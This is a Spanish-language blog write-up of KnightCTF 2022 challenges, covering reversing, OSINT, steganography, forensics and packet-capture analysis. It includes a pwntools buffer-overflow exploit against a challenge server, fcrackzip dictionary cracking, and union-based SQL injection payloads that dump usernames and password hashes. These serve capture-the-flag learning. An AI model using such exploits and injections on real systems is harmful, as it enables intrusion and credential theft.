filthyHacker@home:~$

KnightCTF 2022

KnightCTF 2022, es el primer capture the flag organizado por Knight Squad, este es de tipo jeopardy, por lo que encontraremos distintas categorías.

KnightCTF logo

Reverse Engineering

The Encoder

2

Al extraer y ejecutar el binario, the_encoder.out, vamos a darnos cuenta que nos pregunta por una cadena de caracteres; si introducimos cualquier carácter, el binario nos devolverá un valor bastante similar a los que encontramos en el enunciado del reto.

3

Por otra parte, podemos darnos cuenta que si introducimos caracteres consecutivos, el valor que nos devuelve también lo es, esto ya nos da una posible idea de por donde van los tiros.

Podemos consultar una tabla ASCII, para saber en que orden van los caracteres, y así simplificar las cosas.

4

KCTF{s1Mpl3_3Nc0D3r_1337}

PWN

What’s Your Name

5

Al extraer y ejecutar el binario, whats_your_name, vamos a darnos cuenta que nos pregunta por un nombre; si introducimos cualquier cadena de caracteres, el binario nos devolverá un mensaje de bienvenida.

6

Si introducimos una cadena de caracteres lo suficientemente larga, conseguiremos un Segmentation Fault, lo cual nos da la idea de un posible Buffer Overflow.

7

Podemos empezar a depurar el binario con GEF, tal y como lo hicimos en la máquina Safe de Hack The Box, y nos daremos cuenta que el buffer tiene una longitud de 72 bytes.

8

Ya con esto en mente, podemos analizar el binario con Ghidra, y nos daremos cuenta que dentro de la función main, después de hacer una serie de validaciones, se está efectuando una llamada al sistema para ejecutar un cat al archivo /home/hacker/flag.txt.

9

De modo que teniendo control sobre el registro RIP, si apuntamos a la dirección de la llamada al sistema, omitiremos toda la validación y conseguiremos listar la flag; para ello, haremos un script en Python, bastante parecido al de la máquina Safe de Hack The Box.

#!/usr/bin/python3

from pwn import *

context.terminal = ['gnome-terminal', '-x']
context.arch = 'amd64'
context.os = 'linux'

p = remote("198.211.115.81", 10001)

flag = p64(0x4011d3)

junk = ("A"*72).encode()

p.sendline(junk + flag)

p.interactive()
KCTF{bAbY_bUfF3r_0v3Rf1Ow}

OSINT

Canada Server

10

Este reto es bastante simple, solamente teníamos que hacer una pequeña búsqueda en internet.

11

KCTF{192.99.167.83}

Find The Camera

12

Una vez descargamos el archivo adjunto, vamos a darnos cuenta que los derechos de autor le pertenecen a JenCh012, así que procedemos a buscarlo.

13

Vemos que, aparte de algunas páginas rusas, nuestra búsqueda guarda relación con autobuses, por lo que estamos en el lugar correcto, entraremos en el primer resultado.

14

Podemos observar que hay una sección en la que podemos introducir la matrícula del autobús, y posteriormente, nos arrojará un resultado.

15

Ambas fotografías curiosamente pertenecen al usuario JenCh012, por lo que haremos clic en la fotografía que nos interesa.

16

Ya con esto habríamos conseguido el modelo de la cámara, ahora solamente haría falta saber a que marca pertenece.

KCTF{SONY_DSC_S&980}

Steganography

Follow The White Rabbit

17

Una vez descargado el archivo adjunto, podemos darnos cuenta que existe una serie de puntos y líneas, por lo que podemos intuir que estamos frente a código morse. Para decodificarlo, podemos usar herramientas como dcode.

KCTF{L0OKB4Y0UL34P}

Follow

18

Cuando empezamos a analizar el archivo PDF adjunto, rápidamente nos daremos cuenta que existe un espacio en blanco demasiado grande. Por lo que si marcamos el espacio en blanco, nos daremos cuenta que hay algo ahí.

19

De modo que copiaremos y pegaremos el texto en otro lado, revelando así la flag.

KCTF{This_is_the_real_flag}

QR Code From The Future

20

Al abrir el archivo adjunto, nos daremos cuenta que estamos frente a una sucesión de códigos QR que cambia bastante rápido, por lo que, lo primero que haremos será identificar cada uno de los frames que componen este GIF, para ello podemos hacer uso de Ezgif.

Una vez hemos conseguido los 48 códigos QR que componen el GIF, pasaremos a decodificar cada uno de ellos; para agilizar el proceso haremos uso de zbarimg, por lo que deberemos de tener descargados todos los códigos QR. En caso de no contar con la herramienta descargada podemos hacer lo siguiente:

sudo apt install zbar-tools
zbarimg * | cut -d ":" -f2 | tr -d "\n"

21

Una vez escaneados los 48 código QR conseguiremos la siguiente cadena de caracteres:

}pvznalq_bg_pvgngf_zbes_qriybir_gbt_rqbp_ED{SGPX

Ligeramente podemos empezar a ver el formato de la flag, de modo que la cadena que acabamos de conseguir, está al revés.

zbarimg * | cut -d ":" -f2 | tac | tr -d "\n"

22

La cadena, está encriptada por ROT13, por lo que al decodificarla, conseguiremos la flag:

KCTF{QR_code_got_evolved_from_static_to_dynamic}

Misc

Unzip Me

23

Al descomprimir el archivo unzipme.tar.gz, extraeremos un archivo que lleva por nombre unzipme.

El propio nombre del archivo nos sugiere que debemos de descomprimirlo, sin embargo, no conocemos en que formato está comprimido; podríamos hacer uso del comando file, pero nos dirá que simplemente se trata de data.

Como no conocemos el formato del archivo, podríamos visualizar su contenido en hexadecimal haciendo uso de xxd, para así conseguir su magic number.

xxd unzipme

24

Si nos percatamos, cada pareja de dígitos está dada la vuelta; es decir, la forma correcta de los cuatro primeros dígitos debería ser 504B 0304, esto corresponde con el magic number de los archivos PKZip. Tenemos una lista completa de magic numbers, de varios tipos de archivos, aquí.

De este modo, haciendo uso de CyberChef, podemos descomprimir el archivo unzipme. Lo primero que haremos será indicar que queremos trabajar con el formato hexdump, y posterior a ello introduciremos el output conseguido con el comando xxd.

25

Luego de esto, indicaremos que queremos cambiar el endianness cada 2 bytes, para finalmente descomprimir el archivo unzipme y conseguir la flag.

26

KCTF{sO_yOu_sWaPP3D_tHe_f1L3}

Look Closely

27

Para este reto se nos da un archivo .wav, del cual no logramos identificar nada. Lo que podemos hacer es visualizar el espectrograma con herramientas como Audacity.

sudo apt install audacity

28

https://drive.google.com/file/d/1_6c_waS9ijouTpqI_tUO6VCRf7fE6gCY/view?usp=sharing

En el enlace encontraremos un video que aparte de verse fatal, contiene dos cadenas de caracteres escritas en binario.

29

01001011 01000011 01010100 01000110 01111011 01001000 00110011

30

01001100 01001100 01001111 01011111 01001010 00110011 01001100 01001100 01001111 01111101 

Una vez las unimos, y traducimos obtenemos la flag.

KCTF{H3LLO_J3LLO}

Digital Forensics

The Lost Flag

31

A la hora de abrir el archivo adjunto no vamos a encontrar nada sospechoso a primera vista.

No obstante, si utilizamos herramientas como StegSolve o Forensically, vamos a poder visualizar la flag.

wget http://www.caesum.com/handbook/Stegsolve.jar -O stegsolve.jar
chmod +x stegsolve.jar

32

KCTF{Y0U_F0UND_M3}

Unknown File

33

Al descomprimir el archivo adjunto, extraeremos un archivo que lleva por nombre unknown file.

Así como el enunciado sugiere, no se sabe ante que tipo de archivo nos estamos enfrentando, por lo que comandos como file, no nos serán de utilidad. Lo que podemos hacer es visualizar el contenido del archivo en hexadecimal haciendo uso de xxd, para así conseguir su magic number.

xxd unknown\ file | head

34

Si nos percatamos, el magic number no corresponde con ninguno conocido, sin embargo, podemos observar una sección que dice IHDR, el cual corresponde con uno de los chunks principales de cualquier imagen PNG.

De modo que reemplazando los cuatro primeros dígitos con 89 50 4E 47, conseguiremos visualizar la flag; esto podemos hacerlo mediante herramientas online como Online Hex Editor, o ghex, que para instalarlo es bastante sencillo:

sudo apt install ghex

35

KCTF{Imag3_H3ad3r_M4nipul4t10N}

Let’s Walk Together

36

Al abrir el archivo adjunto no vamos a observar nada relevante, no obstante, el nombre del reto nos da una pista bastante importante. Vamos a hacer uso de binwalk, una herramienta de ingeniería inversa dedicada a identificar archivos y código malicioso en imágenes de firmware.

binwalk -e interesting_waves.png

Se nos creará una carpeta dentro de la cual estará todo lo que se encontraba dentro de la imagen; entre ello, un archivo .zip protegido por contraseña.

En vista de que no tenemos ningún indicio de ninguna contraseña, aplicaremos fuerza bruta sobre el archivo .zip mediante fcrackzip.

sudo apt install fcrackzip

Para ello necesitaremos de algún diccionario, el más común es rockyou.txt.

fcrackzip -D -p /ruta/del/diccionario/rockyou.txt -u 11150.zip
  • -D - Indicamos que queremos hacer un ataque de diccionario
  • -p - Indicamos el diccionario
  • -u - Nos quedamos solamente con la contraseña correcta; descartamos falsos positivos

37

Ya con la contraseña del .zip, podemos extraer el archivo flag.txt.

KCTF{BiNw4lk_is_h3lpfUl}

Networking

Compromised CTF Platform

38

Se nos da una captura de tráfico que bien podemos analizar con TShark o Wireshark.

39

En este caso, como se nos pide averiguar por un nombre de usuario y contraseña, lo más sensato sería filtrar la captura por peticiones de tipo POST.

http.request.method == POST

40

Si empezamos a revisar cada petición, veremos que el atacante probó credenciales típicas como admin/admin, admin/admin123, test/test, admin/password devolviendo siempre el servidor un mensaje Invalid Username or Password, hasta que da con las credenciales correctas, demo/demo.

KCTF{demo_demo}

Robots.txt

41

Como estamos en búsqueda del archivo robots.txt, podemos filtrar la captura de tráfico por peticiones de tipo GET, y posteriormente por todas aquellas que mencionen el archivo que buscamos, esto último lo podemos hacer con CTRL + F.

http.request.method == GET

42

43

KCTF{/includes/users.php}

PHP Version

44

Este reto era bastante sencillo, podíamos completarlo a medida que realizábamos otros retos. La versión de PHP podemos visualizarla en cualquier petición que se realice al servidor.

45

KCTF{PHP/7.4.27}

KCTF

46

Para este reto no se nos da mayor contexto, sin embargo, si analizamos los objetos HTTP encontraremos una imagen que contiene la flag.

47

48

KCTF{Ev3rY_USEr_1nPuT_SH0uLD_B3_S4niT1z3D}

Admin Arena

49

Nuevamente tenemos que filtrar de la captura de tráfico, información que viaja por POST, en este caso, en la ruta Admin Arena.

http.request.method == POST

50

KCTF{tareq@hackerzarena.com_P@$$w0Rd}

Vuln

51

A partir de este punto, los retos van enfocados al ataque que se realizó en contra de la plataforma de CTF. Si hemos estado atentos a las diversas peticiones HTTP que se realizaron, nos habremos percatado que hay varias bastante sospechosas.

52

Ya viendo esto podríamos determinar el tipo de ataque que se realizó, SQL Injection, no obstante, al verse url encodeado, puede resultar un poco complicado leer la petición.

KCTF{sql_injection}

Vuln Columns

53

Para visualizar de mejor manera las inyecciones SQL que se realizaron, podemos exportar los objetos HTTP.

54

55

Si observamos detenidamente, nos daremos cuenta que el atacante empieza a ordenar las columnas de la base de datos de manera consecutiva, con el objetivo de conocer el total de columnas existentes.

Este proceso lo realiza un total de diez veces, en el primer intento hay un pequeño fallo de sintaxis por lo que lo descartamos, y a partir del segundo intento, empieza a ordenar las columnas, una a una, esto lo hace hasta la columna nueve, la cual no existe, razón por la cual, en el décimo intento, vuelve a ordenar las columnas hasta la número ocho.

users.php?id=1' order by 1,2,3,4,5,6,7,8 --+

Sabidas el número total de columnas de la base de datos, el atacante empieza a determinar cuales son vulnerables, esto lo hace a través del comando union, con el cual empieza a reemplazar ciertas columnas por otra serie de comandos que le otorgan información relevante de la base de datos.

users.php?id=1' union select 1,2,3,4,5,6,7,8 --+
users.php?id=1' union select 1,2,version(),4,5,6,7,8 --+

Una vez analizadas las columnas que el atacante utiliza, podemos determinar que son cuatro, las columnas vulnerables; concretamente, las columnas 3, 6, 7 y 8.

KCTF{4}

Hashed Password

56

Para este reto se nos pregunta por el hash de la contraseña del usuario tareq, la cual el atacante consiguió haciendo uso de las inyecciones SQL, concretamente:

users.php?id=1' union select 1,2,3,group_concat(username,0x203a20,password),5,user(),7,8 from users --+

57

KCTF{$2Y$10$XVKEZO/NKM4KE073CPTEG.VKFTHMH1CCDPRDD5JWYWKFEZ6GZKZN.}

Database Flag

58

Al igual que el reto anterior, se pude asumir que el atacante a través de las inyecciones SQL, logró filtrar información relevante de la plataforma de CTF, en este caso una flag; la inyección en cuestión es:

users.php?id=1' union select 1,2,3,4,5,6,group_concat(flag),8 from vulnerable --+

59

Conseguimos filtrar dos cadenas encriptadas en Base64.

S0NURntTcUw=
XzFOajNDN2kwbn0=

Al desencriptarlas conseguiremos la flag.

KCTF{SqL_1Nj3C7i0n}

Attacker

60

Finalmente, parece ser que el atacante decidió ‘firmar’ el ataque, dejando su nombre en la última inyección SQL, donde deja un mensaje encriptado en hexadecimal.

users.php?id=1' union select 1,2,0x4861636b6564204279204d4f5348,4,5,6,group_concat(flag),8 from vulnerable --+

No obstante, si no queremos desencriptar el mensaje, podemos verlo en texto plano desde el propio Wireshark.

61